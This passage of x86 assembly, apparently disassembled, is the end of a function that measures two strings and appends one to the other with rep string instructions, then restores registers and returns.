or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov eax, 1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 0x38
ret